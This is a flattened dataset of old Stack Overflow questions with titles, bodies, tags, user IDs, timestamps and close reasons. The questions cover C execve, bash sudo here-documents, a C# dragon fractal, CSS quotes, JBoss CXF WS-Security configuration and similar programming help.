Mozilla plugin for remote desktop protocol === Is there a remote desktop plugin for mozilla browsers that can perform remote desktop functionality from with the browser. Similar to the ActiveX control found in Terminal Services Web. IE similar to this: http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=E2FF8FB5-97FF-47BC-BACC-92283B52B310
2
5,397,264
03/22/2011 20:15:18
671,912
12/25/2010 02:03:34
1
0
read the image (black and white) as the file of (0&1)
How can I read the image (black and white) as the file component of the (ones and zeros) by using VC++6,OpenCv , Library FANN "Faster Artificial Neural Network "
c++
opencv
null
null
null
03/23/2011 00:26:06
not a real question
read the image (black and white) as the file of (0&1) === How can I read the image (black and white) as the file component of the (ones and zeros) by using VC++6,OpenCv , Library FANN "Faster Artificial Neural Network "
1
10,158,782
04/15/2012 01:09:43
1,166,313
01/24/2012 05:09:29
67
1
execve - No such file or directory?
I'm having some problems with execve. I'm trying to make a shell that can function just like the bash shell, but I have problems with the forked child executing a command. Here is what I have for the child. cmd is a char * with the command that the user typed in. However, when I run this program, I get this error from perror: execve error: No such file or directory. I have tried the program with a simple ls, and it should make path="/bin/ls" and execute it (I have confirmed this is where my ls command is) but it still complains. What am I doing wrong? Thanks! **CODE:** if(pid == 0){ // Parse the command char * word = strtok(cmd, " "); char path[128] = "/bin/"; strcat(path, word); // Execute the process char * newenvp[] = { NULL }; char * newargv[] = { path, NULL }; ret = execve(path, newargv, newenvp); if(ret == -1){ perror("execve error"); } return EXIT_SUCCESS; }
c
linux
execve
null
null
null
open
execve - No such file or directory? === I'm having some problems with execve. I'm trying to make a shell that can function just like the bash shell, but I have problems with the forked child executing a command. Here is what I have for the child. cmd is a char * with the command that the user typed in. However, when I run this program, I get this error from perror: execve error: No such file or directory. I have tried the program with a simple ls, and it should make path="/bin/ls" and execute it (I have confirmed this is where my ls command is) but it still complains. What am I doing wrong? Thanks! **CODE:** if(pid == 0){ // Parse the command char * word = strtok(cmd, " "); char path[128] = "/bin/"; strcat(path, word); // Execute the process char * newenvp[] = { NULL }; char * newargv[] = { path, NULL }; ret = execve(path, newargv, newenvp); if(ret == -1){ perror("execve error"); } return EXIT_SUCCESS; }
0
7,702,955
10/09/2011 10:44:26
521,355
11/26/2010 12:14:53
277
4
Why is my dragon fractal such complete crap?
I have translated the code from javascript which can be found by going to http://fractal.qfox.nl/ and pressing F12 to get the developer tools up and then selecting dragon.js from the scripts. My translation is intended to produce just a single dragon upon clicking the button but I think I have missed something in my translation. ![sickly dragon][1] [1]: http://i.stack.imgur.com/VeAnM.png Here is my translated code: public partial class MainPage : UserControl { PointCollection pc; Int32[] pattern = new Int32[] { 1, 1, 0, 2, 1, 0, 0, 3 }; Int32[] position = new Int32[] { 0, 0, 0, 0, 0, 0, 0, 0 }; Boolean toggle; Char r = default(Char); Int32 distance = 10; // line length Int32 step = 100; // paints per step Int32 skip = 10; // folds per paint Double x = 0; Double y = 0; Int32 a = 90; public MainPage() { InitializeComponent(); } private void btnFire_Click(object sender, RoutedEventArgs e) { x = canvas.ActualWidth / 3; y = canvas.ActualHeight / 1.5; pc = new PointCollection(); var n = step; while (--n > 0) { List<Char> s = getS(skip); draw(s); } Polyline p = new Polyline(); p.Stroke = new SolidColorBrush(Colors.Red); p.StrokeThickness = 0.5; p.Points = pc; canvas.Children.Add(p); } List<Char> getS(Int32 n) { List<Char> s1 = new List<Char>(); while (n-- > 0) s1.Add(getNext(0)); return s1; } void draw(List<Char> s) { pc.Add(new Point(x, y)); for (Int32 i = 0, n = s.Count; i < n; i++) { pc.Add(new Point(x, y)); Int32 j; if (int.TryParse(s[i].ToString(), out j) && j != 0) { if ((a + 90) % 360 != 0) { a = (a + 90) % 360; } else { a = 360; // Right } } else { if (a - 90 != 0) { a = a - 90; } else { a = 360; // Right } } // new target if (a == 0 || a == 360) { y -= distance; } else if (a == 90) { x += distance; } else if (a == 180) { y += distance; } else if (a == 270) { x -= distance; } // move pc.Add(new Point(x, y)); } } Char getNext(Int32 n) { if (position[n] == 7) { r = getNext(n + 1); position[n] = 0; } else { var x = position[n] > 0 ? pattern[position[n]] : pattern[0]; switch (x) { case 0: r = '0'; break; case 1: r = '1'; break; case 2: if (!toggle) { r = '1'; } else { r = '0'; } toggle = !toggle; break; } position[n] = position[n] + 1; } return r; } }
c#
javascript
fractals
null
null
10/09/2011 17:02:43
not a real question
Why is my dragon fractal such complete crap? === I have translated the code from javascript which can be found by going to http://fractal.qfox.nl/ and pressing F12 to get the developer tools up and then selecting dragon.js from the scripts. My translation is intended to produce just a single dragon upon clicking the button but I think I have missed something in my translation. ![sickly dragon][1] [1]: http://i.stack.imgur.com/VeAnM.png Here is my translated code: public partial class MainPage : UserControl { PointCollection pc; Int32[] pattern = new Int32[] { 1, 1, 0, 2, 1, 0, 0, 3 }; Int32[] position = new Int32[] { 0, 0, 0, 0, 0, 0, 0, 0 }; Boolean toggle; Char r = default(Char); Int32 distance = 10; // line length Int32 step = 100; // paints per step Int32 skip = 10; // folds per paint Double x = 0; Double y = 0; Int32 a = 90; public MainPage() { InitializeComponent(); } private void btnFire_Click(object sender, RoutedEventArgs e) { x = canvas.ActualWidth / 3; y = canvas.ActualHeight / 1.5; pc = new PointCollection(); var n = step; while (--n > 0) { List<Char> s = getS(skip); draw(s); } Polyline p = new Polyline(); p.Stroke = new SolidColorBrush(Colors.Red); p.StrokeThickness = 0.5; p.Points = pc; canvas.Children.Add(p); } List<Char> getS(Int32 n) { List<Char> s1 = new List<Char>(); while (n-- > 0) s1.Add(getNext(0)); return s1; } void draw(List<Char> s) { pc.Add(new Point(x, y)); for (Int32 i = 0, n = s.Count; i < n; i++) { pc.Add(new Point(x, y)); Int32 j; if (int.TryParse(s[i].ToString(), out j) && j != 0) { if ((a + 90) % 360 != 0) { a = (a + 90) % 360; } else { a = 360; // Right } } else { if (a - 90 != 0) { a = a - 90; } else { a = 360; // Right } } // new target if (a == 0 || a == 360) { y -= distance; } else if (a == 90) { x += distance; } else if (a == 180) { y += distance; } else if (a == 270) { x -= distance; } // move pc.Add(new Point(x, y)); } } Char getNext(Int32 n) { if (position[n] == 7) { r = getNext(n + 1); position[n] = 0; } else { var x = position[n] > 0 ? pattern[position[n]] : pattern[0]; switch (x) { case 0: r = '0'; break; case 1: r = '1'; break; case 2: if (!toggle) { r = '1'; } else { r = '0'; } toggle = !toggle; break; } position[n] = position[n] + 1; } return r; } }
1
8,368,966
12/03/2011 16:11:59
924,140
09/01/2011 19:46:06
15
0
Here Document not working with sudo su
I was trying to write an setup.sh script that searches an installs the require components of an application while installing. if an required component is not found it will prompt to install it. I have used sudo apt-get install for that , and I want to pass the user supplied password to sudo using here documents as read passwd sudo apt-get install clisp <<EOF $passwd $passwd EOF but this is not working , ie, the input password is not getting passed to sudo , why is this not happening , is there any mistake in my usage ? please help
bash
null
null
null
null
12/05/2011 02:37:50
off topic
Here Document not working with sudo su === I was trying to write an setup.sh script that searches an installs the require components of an application while installing. if an required component is not found it will prompt to install it. I have used sudo apt-get install for that , and I want to pass the user supplied password to sudo using here documents as read passwd sudo apt-get install clisp <<EOF $passwd $passwd EOF but this is not working , ie, the input password is not getting passed to sudo , why is this not happening , is there any mistake in my usage ? please help
2
8,989,699
01/24/2012 15:46:40
108,977
05/18/2009 19:37:21
6,019
364
Anybody using RAM drives to speed up unit testing databases?
To unit test my stored procedures, I am running SQL Server 2008 R2 Dev Edition on my Windows 7 x64 workstation. I am creating a sandbox database off scripts; it is currently less than 40 MB. To speed up the fixture setup process, I was thinking of creating a RAM drive. I hope someone did that before. Are there any gotchas/problems with this approach? How are you setting up your RAM drive?
sql-server
sql-server-2008
unit-testing
windows-7-x64
ramdrive
01/24/2012 19:18:06
off topic
Anybody using RAM drives to speed up unit testing databases? === To unit test my stored procedures, I am running SQL Server 2008 R2 Dev Edition on my Windows 7 x64 workstation. I am creating a sandbox database off scripts; it is currently less than 40 MB. To speed up the fixture setup process, I was thinking of creating a RAM drive. I hope someone did that before. Are there any gotchas/problems with this approach? How are you setting up your RAM drive?
2
5,416,259
03/24/2011 07:57:30
674,502
03/24/2011 07:57:30
1
0
Write a C function (CountChar) that can count the number of spaces in a NULL terminated string.
THE FUNCTION IS BASED ON A C-PROGRAMMING CODE.
c
programming-languages
null
null
null
03/24/2011 08:04:29
not a real question
Write a C function (CountChar) that can count the number of spaces in a NULL terminated string. === THE FUNCTION IS BASED ON A C-PROGRAMMING CODE.
1
4,853,905
01/31/2011 17:20:23
283,055
05/11/2009 14:24:50
2,888
72
Which design pattern to choose
So I have ended up in a situation with a project I'm part of that has two types of lists (at the moment, at least): booking and shift list. Both lists are made so that we have a List object containing logic for both of them, and a separate Shift and Booking list objects for individual features. The List object is starting to be overwhelming. It has pagination, editor capabilities, selection and double click to open popups, mouse hover popups as well as filtering and paging. I would like to refactor the code to something more maintenable and perhaps into smaller units I suppose. What design patterns should I be thinking about here? If it matters, the List object contains over 3k lines of OO JavaScript code.
oop
design
design-patterns
null
null
null
open
Which design pattern to choose === So I have ended up in a situation with a project I'm part of that has two types of lists (at the moment, at least): booking and shift list. Both lists are made so that we have a List object containing logic for both of them, and a separate Shift and Booking list objects for individual features. The List object is starting to be overwhelming. It has pagination, editor capabilities, selection and double click to open popups, mouse hover popups as well as filtering and paging. I would like to refactor the code to something more maintenable and perhaps into smaller units I suppose. What design patterns should I be thinking about here? If it matters, the List object contains over 3k lines of OO JavaScript code.
0
7,506,341
09/21/2011 20:40:31
219,276
11/26/2009 09:44:27
63
4
VB6 pass an object variable back to opening form
How do I do this? I thought that I could pass the form as a variable to the child form. Then the child form could set a variable (as public property) on the parent form. But I get some weird "function or interface marked as restricted" error. Whats the way to do this in vb6?? Is it just a case of making the object a global variable? thanks.
forms
vb6
null
null
null
09/28/2011 10:48:32
not a real question
VB6 pass an object variable back to opening form === How do I do this? I thought that I could pass the form as a variable to the child form. Then the child form could set a variable (as public property) on the parent form. But I get some weird "function or interface marked as restricted" error. Whats the way to do this in vb6?? Is it just a case of making the object a global variable? thanks.
1
6,177,657
05/30/2011 14:41:01
596,364
01/31/2011 04:57:46
443
13
What is mean by an urban air ship app in android
hi friends sorry for asking a such a question here. i am going to do an app based on urban air ship. I do not know what it means. What is mean by urban airship? What to be done here. Please help me with some useful blogs or own explanation friends.
android
urbanairship.com
null
null
null
05/30/2011 15:21:10
off topic
What is mean by an urban air ship app in android === hi friends sorry for asking a such a question here. i am going to do an app based on urban air ship. I do not know what it means. What is mean by urban airship? What to be done here. Please help me with some useful blogs or own explanation friends.
2
8,452,133
12/09/2011 21:49:55
1,090,518
12/09/2011 21:15:20
1
0
Copy users from one database to another
thanks for being avaliable to help me! I have a SMF Forum and another software (SourceBans) and I need to get the users that register in my forum copied to the registered users in another database, basically bridging and syncing the users from the forum to the other database. I need to copy the following, respectively from one table/database to another smf_members @ db_forum to sb_admins @ db_sourcebans: id_member > aid (user number) member_name > user (username) passwd > password (password) email_address > email (email) smf_themes @ db_forum to sb_admins @ db_sourcebans: value of "value" where "variable" is cust_steami corresponding to id_member > authid (steamid) i dont mind how this process is done, even by cronjob is fine since it syncs every few minutes. If you cant help me 100% please at least tell anythig that may help Thank you very much.
mysql
database
data
copy
sync
null
open
Copy users from one database to another === thanks for being avaliable to help me! I have a SMF Forum and another software (SourceBans) and I need to get the users that register in my forum copied to the registered users in another database, basically bridging and syncing the users from the forum to the other database. I need to copy the following, respectively from one table/database to another smf_members @ db_forum to sb_admins @ db_sourcebans: id_member > aid (user number) member_name > user (username) passwd > password (password) email_address > email (email) smf_themes @ db_forum to sb_admins @ db_sourcebans: value of "value" where "variable" is cust_steami corresponding to id_member > authid (steamid) i dont mind how this process is done, even by cronjob is fine since it syncs every few minutes. If you cant help me 100% please at least tell anythig that may help Thank you very much.
0
6,020,159
05/16/2011 16:09:31
321,691
04/20/2010 20:34:57
56
1
EF4.1 (Database First) Generic Repository: Problem with inconsistent data types.
I am working on a new application which is using a legacy system's database. Each table in the database (there are about 600) has a 'Deleted' column to flag whether or not the item should be displayed to users. In my generic repository, I need to add LINQ expressions to filter out all items with Deleted == 1/True. The problem I have ran into is that the "Deleted" column has different data types across tables. It is a tinyint, smallint or bit in any given table. Theoretically, this should not be much of an issue since the data will always be stored as a 1 or a 0 (well, should be, I suppose, but either way a number of some sort) which can be cast to any of the specific types mentioned above. I'm just not sure how and/or where to go about casting this. I created an interface which forces all of the entities to expose this property, but since the types are different, each entity with the different data types will cause issues. I was hoping (although already knew it wouldn't work) I could change the interface to "object" or "dynamic" which still causes compile time errors, since the EDMX model is creating the data model classes. I don't want to invest too much time in writing code in the T4 templates if that will not fix the issue. When I change the EDMX model's entity properties to adhere to a specific datatype, I receive mapping errors ("Member Mapping specific is not valid. The type 'Edm.Byte[*]' of member 'Deleted' in type 'MyEntity' is not compatible with 'SqlServer.bit[*]' ....) I doubt I'll be able to change the data types in the tables, since there are many different applications which use this database and I'm sure it will cause problems somewhere. Has anyone else ran into a similar situation and come up with a working solution?
generics
entity-framework-4.1
repositories
null
null
null
open
EF4.1 (Database First) Generic Repository: Problem with inconsistent data types. === I am working on a new application which is using a legacy system's database. Each table in the database (there are about 600) has a 'Deleted' column to flag whether or not the item should be displayed to users. In my generic repository, I need to add LINQ expressions to filter out all items with Deleted == 1/True. The problem I have ran into is that the "Deleted" column has different data types across tables. It is a tinyint, smallint or bit in any given table. Theoretically, this should not be much of an issue since the data will always be stored as a 1 or a 0 (well, should be, I suppose, but either way a number of some sort) which can be cast to any of the specific types mentioned above. I'm just not sure how and/or where to go about casting this. I created an interface which forces all of the entities to expose this property, but since the types are different, each entity with the different data types will cause issues. I was hoping (although already knew it wouldn't work) I could change the interface to "object" or "dynamic" which still causes compile time errors, since the EDMX model is creating the data model classes. I don't want to invest too much time in writing code in the T4 templates if that will not fix the issue. When I change the EDMX model's entity properties to adhere to a specific datatype, I receive mapping errors ("Member Mapping specific is not valid. The type 'Edm.Byte[*]' of member 'Deleted' in type 'MyEntity' is not compatible with 'SqlServer.bit[*]' ....) I doubt I'll be able to change the data types in the tables, since there are many different applications which use this database and I'm sure it will cause problems somewhere. Has anyone else ran into a similar situation and come up with a working solution?
0
496,545
01/30/2009 18:07:44
5,441
09/09/2008 15:34:34
2,157
151
Are reCAPTCHA CAPTCHA's getting harder or is just me?
As I have been testing sites, I have found [reCAPTCHA][1]'s getting more and more difficult to read. Is it just me or are others having this problem too? Along with this, I had a user this morning complain about receiving a Bristish Pound character in their reCAPTCHA. Of course the user didn't know what to do, even though I have message stating they can click the reload/refresh icon to get a new CAPTCHA. Unfortunately, this implementation is on a site often used by people over 60 years of age, so more complicated or confusing CAPTCHA's are a problem, but the site still receives a lot of people attempting to produce spam. [1]: http://www.recaptcha.net
recaptcha
null
null
null
null
08/23/2010 18:54:00
off topic
Are reCAPTCHA CAPTCHA's getting harder or is just me? === As I have been testing sites, I have found [reCAPTCHA][1]'s getting more and more difficult to read. Is it just me or are others having this problem too? Along with this, I had a user this morning complain about receiving a Bristish Pound character in their reCAPTCHA. Of course the user didn't know what to do, even though I have message stating they can click the reload/refresh icon to get a new CAPTCHA. Unfortunately, this implementation is on a site often used by people over 60 years of age, so more complicated or confusing CAPTCHA's are a problem, but the site still receives a lot of people attempting to produce spam. [1]: http://www.recaptcha.net
2
11,670,202
07/26/2012 13:18:39
1,540,991
07/20/2012 14:04:34
1
0
TORRENT HASH INFO values
**I have a question. I would like to know what does hash-info describe exactly on a torrent file, for example aech name, or does it initialize the node, which has its blocks.** **I don't want to know how to get it, or something different, but I would like to know what each of its values means.**
bittorrent
null
null
null
null
07/30/2012 06:02:57
off topic
TORRENT HASH INFO values === **I have a question. I would like to know what does hash-info describe exactly on a torrent file, for example aech name, or does it initialize the node, which has its blocks.** **I don't want to know how to get it, or something different, but I would like to know what each of its values means.**
2
7,374,024
09/10/2011 19:19:55
159,793
08/20/2009 06:28:39
1,998
28
Is there any Java CSS formatter util?
I need to format (not compress) CSS code, so that unreadable CSS code is formatted to be readable. I need this as Java library.
java
css
code-formatting
formatter
null
09/10/2011 23:39:26
not constructive
Is there any Java CSS formatter util? === I need to format (not compress) CSS code, so that unreadable CSS code is formatted to be readable. I need this as Java library.
4
6,971,805
08/07/2011 09:11:20
157,837
08/17/2009 15:30:24
1,275
36
Programming for Windows: Simple SFTP Transfer Application
I've never worked on a Windows application before. I now need a simple application that will add a context menu to files with a specific extension. When you click the context menu, the application will connect to a remote linux server via sftp, ask for credentials and upon successful authentication, transfer the selected file to the server. The application needs to be compatible with Windows XP onwards. Which language / platform can I use to quickly develop this application? What tools do I need? How do I register the context menu item? And how would I distribute it? Any guidelines would help.
c#
java
.net
windows
sftp
08/07/2011 09:21:43
not a real question
Programming for Windows: Simple SFTP Transfer Application === I've never worked on a Windows application before. I now need a simple application that will add a context menu to files with a specific extension. When you click the context menu, the application will connect to a remote linux server via sftp, ask for credentials and upon successful authentication, transfer the selected file to the server. The application needs to be compatible with Windows XP onwards. Which language / platform can I use to quickly develop this application? What tools do I need? How do I register the context menu item? And how would I distribute it? Any guidelines would help.
1
6,895,130
08/01/2011 07:03:45
850,157
07/18/2011 13:53:40
36
6
Github: Interesting repositories
What is reason to add repositories to "Trending Repos" & "Interesting Repositories" at GiHub? I see, the reason is not "Watchers" or "Forks" <a href="https://github.com/explore">Trending Repos</a> - is real riddle: <img src="http://habrastorage.org/storage1/ba7d5c0e/76f5906a/69dfaf6f/7cdd14c2.png"/> At the same time<a href="https://github.com/repositories">Interesting Repositories</a> - are not so surprisingly, but is unknown too. Near the powerful repos there are realy weak <img src="http://funkyimg.com/u2/332/219/github-aquamacs.png" alt="image"/> And sometimes - even absurd, if not very popular fork, <a href="https://github.com/bitprophet/fabric">followed by 4 people</a> has a greater weight than <a href="https://github.com/fabric/fabric">original repository</a>, followed by 743 people. <img src="http://funkyimg.com/u2/451/397/github-fabric.png" alt="image"/> Data from "Graphs/Traffic" obviously isn't used, because repositories that are on "Interesting Repositories" is less visited repository than the repository, which is not available in "Interesting Repositories". For example, the repository, which are in the "Interesting Repositories" - <b>postgres / postgres</b> - <a href="https://github.com/postgres/postgres/graphs/traffic">a 1069 visits in 90 days</a> , <b>russel / groovy</b> - <a href="https://github.com/russel/groovy/graphs/traffic">748 visits for 90 days</a>. <img src="http://funkyimg.com/u2/236/938/github-postgres.png" alt="image"/> <img src="http://funkyimg.com/u2/975/866/github-groovy.png" alt="image"/> On the other hand, the repository, which are not available in "Interesting Repositories" - kohana / kohana - has 12 083 visits for 90 days and theshock / libcanvas - 12,405 visits in 90 days. On the other hand, the repository, which are not available in "Interesting Repositories" - <b>kohana / kohana</b> - has <a href="https://github.com/kohana/kohana/graphs/traffic">12 083 visits for 90 days</a>, а <b>theshock / libcanvas</b> - <a href="https://github.com/theshock/libcanvas/graphs/traffic">12,405 visits in 90 days</a>. <img src="http://funkyimg.com/u2/687/754/github-kohana.png" alt="image"/> <img src="http://funkyimg.com/u2/504/048/github-libcanvas.png" alt="image"/> And, if <b><a href="https://github.com/theshock/libcanvas">theshock / libcanvas</a></b> far below other objective measures, the <b><a href="https://github.com/kohana/kohana">kohana / kohana</a></b> ahead of many other repositories that have the "interesting" on many numbers -> 700 watchers,> 100 forkes,> 12k visits per 3 months. <b><a href="https://github.com/zendframework/zf2">zendframework / zf2</a></b> - generally contain huge figures that are larger than most other repositories: 1,200 subscribers, 400 Fork, 30 000 visits for 3 months. <img src="http://funkyimg.com/u2/765/534/github-zend.png" alt="image"/> Interestingly, the list is stable, ie repository in the top left is not accidental. So what is the algorithm output in the repository "Interesting"?
github
null
null
null
null
08/01/2011 07:12:24
off topic
Github: Interesting repositories === What is reason to add repositories to "Trending Repos" & "Interesting Repositories" at GiHub? I see, the reason is not "Watchers" or "Forks" <a href="https://github.com/explore">Trending Repos</a> - is real riddle: <img src="http://habrastorage.org/storage1/ba7d5c0e/76f5906a/69dfaf6f/7cdd14c2.png"/> At the same time<a href="https://github.com/repositories">Interesting Repositories</a> - are not so surprisingly, but is unknown too. Near the powerful repos there are realy weak <img src="http://funkyimg.com/u2/332/219/github-aquamacs.png" alt="image"/> And sometimes - even absurd, if not very popular fork, <a href="https://github.com/bitprophet/fabric">followed by 4 people</a> has a greater weight than <a href="https://github.com/fabric/fabric">original repository</a>, followed by 743 people. <img src="http://funkyimg.com/u2/451/397/github-fabric.png" alt="image"/> Data from "Graphs/Traffic" obviously isn't used, because repositories that are on "Interesting Repositories" is less visited repository than the repository, which is not available in "Interesting Repositories". For example, the repository, which are in the "Interesting Repositories" - <b>postgres / postgres</b> - <a href="https://github.com/postgres/postgres/graphs/traffic">a 1069 visits in 90 days</a> , <b>russel / groovy</b> - <a href="https://github.com/russel/groovy/graphs/traffic">748 visits for 90 days</a>. <img src="http://funkyimg.com/u2/236/938/github-postgres.png" alt="image"/> <img src="http://funkyimg.com/u2/975/866/github-groovy.png" alt="image"/> On the other hand, the repository, which are not available in "Interesting Repositories" - kohana / kohana - has 12 083 visits for 90 days and theshock / libcanvas - 12,405 visits in 90 days. On the other hand, the repository, which are not available in "Interesting Repositories" - <b>kohana / kohana</b> - has <a href="https://github.com/kohana/kohana/graphs/traffic">12 083 visits for 90 days</a>, а <b>theshock / libcanvas</b> - <a href="https://github.com/theshock/libcanvas/graphs/traffic">12,405 visits in 90 days</a>. <img src="http://funkyimg.com/u2/687/754/github-kohana.png" alt="image"/> <img src="http://funkyimg.com/u2/504/048/github-libcanvas.png" alt="image"/> And, if <b><a href="https://github.com/theshock/libcanvas">theshock / libcanvas</a></b> far below other objective measures, the <b><a href="https://github.com/kohana/kohana">kohana / kohana</a></b> ahead of many other repositories that have the "interesting" on many numbers -> 700 watchers,> 100 forkes,> 12k visits per 3 months. <b><a href="https://github.com/zendframework/zf2">zendframework / zf2</a></b> - generally contain huge figures that are larger than most other repositories: 1,200 subscribers, 400 Fork, 30 000 visits for 3 months. <img src="http://funkyimg.com/u2/765/534/github-zend.png" alt="image"/> Interestingly, the list is stable, ie repository in the top left is not accidental. So what is the algorithm output in the repository "Interesting"?
2
7,600,088
09/29/2011 15:57:44
971,509
09/29/2011 15:54:44
1
0
Rolling dice application for iPhone apps
I am making an iPhone dice application and I wanted to create a button so that if I click it, it will generate a random number between 1 and 6 on the UITextField. Can anyone help me out and give me a mathematical formula to generate such number? Thanks
iphone
xcode
application
formula
dice
null
open
Rolling dice application for iPhone apps === I am making an iPhone dice application and I wanted to create a button so that if I click it, it will generate a random number between 1 and 6 on the UITextField. Can anyone help me out and give me a mathematical formula to generate such number? Thanks
0
4,597,699
01/04/2011 19:46:17
487,214
10/26/2010 05:33:19
180
2
CSS 3: Adding quote symbol to beginning of blockquote
Can anyone tell me why this (also available live at http://jsfiddle.net/A2eTG/6/) renders a `"` symbol before the blockquote in Firefox but not Chrome/Safari? blockquote { padding: 0 60px; padding:10px; padding-left:55px; } blockquote:before { display: block; font-size: 700%; content: open-quote; height: 1px; margin-left: -0.55em; position:relative; top:-20px; } The `blockquote:before` selector shows up in Chrome's developer tools but doesn't appear on screen. What gives?
html
css
css3
null
null
null
open
CSS 3: Adding quote symbol to beginning of blockquote === Can anyone tell me why this (also available live at http://jsfiddle.net/A2eTG/6/) renders a `"` symbol before the blockquote in Firefox but not Chrome/Safari? blockquote { padding: 0 60px; padding:10px; padding-left:55px; } blockquote:before { display: block; font-size: 700%; content: open-quote; height: 1px; margin-left: -0.55em; position:relative; top:-20px; } The `blockquote:before` selector shows up in Chrome's developer tools but doesn't appear on screen. What gives?
0
7,763,624
10/14/2011 05:57:59
994,821
10/14/2011 05:51:27
1
0
How do I set up donations with the Donate App?
I have added the donate button to my page, SaveMMJ. I have not been able to figure out how to allow donations. I cannot find a way to give my paypal information. I have tried to donate myself to test it and paypal says there is an error. Can you please give advice for what to do after adding the app so that people can give to the cause?
facebook
application
null
null
null
null
open
How do I set up donations with the Donate App? === I have added the donate button to my page, SaveMMJ. I have not been able to figure out how to allow donations. I cannot find a way to give my paypal information. I have tried to donate myself to test it and paypal says there is an error. Can you please give advice for what to do after adding the app so that people can give to the cause?
0
11,346,832
07/05/2012 14:49:35
537,796
12/10/2010 11:44:04
6
1
Injecting properties into WSPasswordCallback for JBossWS CXF moduel
I'm having a problem with webservice authentication (WS-Security) while converting an existing application that executes in JBoss 4.3 to JBoss 7. I'm following information on: https://docs.jboss.org/author/display/JBWS/JBoss+Web+Services+Documentation and it seems to be working for WS-Security authentication. The web application contains a jbossws-cxf.xml file and JBoss 7 has spring module installed correctly. The endpoint is configured with the following XML: <beans xmlns='http://www.springframework.org/schema/beans' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:beans='http://www.springframework.org/schema/beans' xmlns:jaxws='http://cxf.apache.org/jaxws' xsi:schemaLocation='http://cxf.apache.org/core http://cxf.apache.org/schemas/core.xsd http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.0.xsd http://cxf.apache.org/jaxws http://cxf.apache.org/schemas/jaxws.xsd'> <!-- WS-Security --> <bean id="webServicePasswordCallBack" class="ie.one23.general.security.WebServicePasswordCallback"> <property name="WS_USERNAME" value="${properties.ws-credentials.username}" /> <property name="WS_PASSWORD" value="${properties.ws-credentials.password}" /> </bean> <bean id="SMSServiceLoggingCXFIncomingInterceptor" class="ie.one23.general.logging.LoggingCXFIncomingInterceptor" /> <!-- Web Service endpoint --> <!-- See https://docs.jboss.org/author/display/JBWS/Apache+CXF+integration --> <jaxws:endpoint id="SMSService" implementor="ie.one23.commonservices.webservice.controller.SMSWebServiceImpl" address="/SMSService/SMSService"> <jaxws:inInterceptors> <!-- WS-Security --> <bean class="org.apache.cxf.binding.soap.saaj.SAAJInInterceptor" /> <bean class="org.apache.cxf.ws.security.wss4j.WSS4JInInterceptor"> <constructor-arg> <map> <entry key="action" value="UsernameToken" /> <entry key="passwordType" value="PasswordText" /> <entry key="passwordCallbackRef"> <ref bean="webServicePasswordCallBack" /> </entry> </map> </constructor-arg> </bean> </jaxws:inInterceptors> <jaxws:outInterceptors> </jaxws:outInterceptors> </jaxws:endpoint> </beans> The problem here is that the properties WS_USERNAME and WS_PASSWORD are being injected in the bean with the actual text ${properties.ws-credentials.username} and ${properties.ws-credentials.password}, respectively, instead of the actual value that comes from a properties file and that is loaded using the following XML (in a separate Spring configuration XML file): <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.0.xsd"> <!-- ================================================================== --> <bean id="propertyConfigurer" class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"> <property name="locations"> <list> <value>file:/${jboss.server.config.dir}/props/sms-service-credentials.properties</value> </list> </property> </bean> <!-- ================================================================== --> </beans> It's as if the properties file is being loaded only after the properties have been injected in the bean.... Has anyone come across this issue and knows how to solve it? Many thanks
java
web-services
spring
cxf
jboss7.x
null
open
Injecting properties into WSPasswordCallback for JBossWS CXF moduel === I'm having a problem with webservice authentication (WS-Security) while converting an existing application that executes in JBoss 4.3 to JBoss 7. I'm following information on: https://docs.jboss.org/author/display/JBWS/JBoss+Web+Services+Documentation and it seems to be working for WS-Security authentication. The web application contains a jbossws-cxf.xml file and JBoss 7 has spring module installed correctly. The endpoint is configured with the following XML: <beans xmlns='http://www.springframework.org/schema/beans' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:beans='http://www.springframework.org/schema/beans' xmlns:jaxws='http://cxf.apache.org/jaxws' xsi:schemaLocation='http://cxf.apache.org/core http://cxf.apache.org/schemas/core.xsd http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.0.xsd http://cxf.apache.org/jaxws http://cxf.apache.org/schemas/jaxws.xsd'> <!-- WS-Security --> <bean id="webServicePasswordCallBack" class="ie.one23.general.security.WebServicePasswordCallback"> <property name="WS_USERNAME" value="${properties.ws-credentials.username}" /> <property name="WS_PASSWORD" value="${properties.ws-credentials.password}" /> </bean> <bean id="SMSServiceLoggingCXFIncomingInterceptor" class="ie.one23.general.logging.LoggingCXFIncomingInterceptor" /> <!-- Web Service endpoint --> <!-- See https://docs.jboss.org/author/display/JBWS/Apache+CXF+integration --> <jaxws:endpoint id="SMSService" implementor="ie.one23.commonservices.webservice.controller.SMSWebServiceImpl" address="/SMSService/SMSService"> <jaxws:inInterceptors> <!-- WS-Security --> <bean class="org.apache.cxf.binding.soap.saaj.SAAJInInterceptor" /> <bean class="org.apache.cxf.ws.security.wss4j.WSS4JInInterceptor"> <constructor-arg> <map> <entry key="action" value="UsernameToken" /> <entry key="passwordType" value="PasswordText" /> <entry key="passwordCallbackRef"> <ref bean="webServicePasswordCallBack" /> </entry> </map> </constructor-arg> </bean> </jaxws:inInterceptors> <jaxws:outInterceptors> </jaxws:outInterceptors> </jaxws:endpoint> </beans> The problem here is that the properties WS_USERNAME and WS_PASSWORD are being injected in the bean with the actual text ${properties.ws-credentials.username} and ${properties.ws-credentials.password}, respectively, instead of the actual value that comes from a properties file and that is loaded using the following XML (in a separate Spring configuration XML file): <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.0.xsd"> <!-- ================================================================== --> <bean id="propertyConfigurer" class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"> <property name="locations"> <list> <value>file:/${jboss.server.config.dir}/props/sms-service-credentials.properties</value> </list> </property> </bean> <!-- ================================================================== --> </beans> It's as if the properties file is being loaded only after the properties have been injected in the bean.... Has anyone come across this issue and knows how to solve it? Many thanks
0
107,243
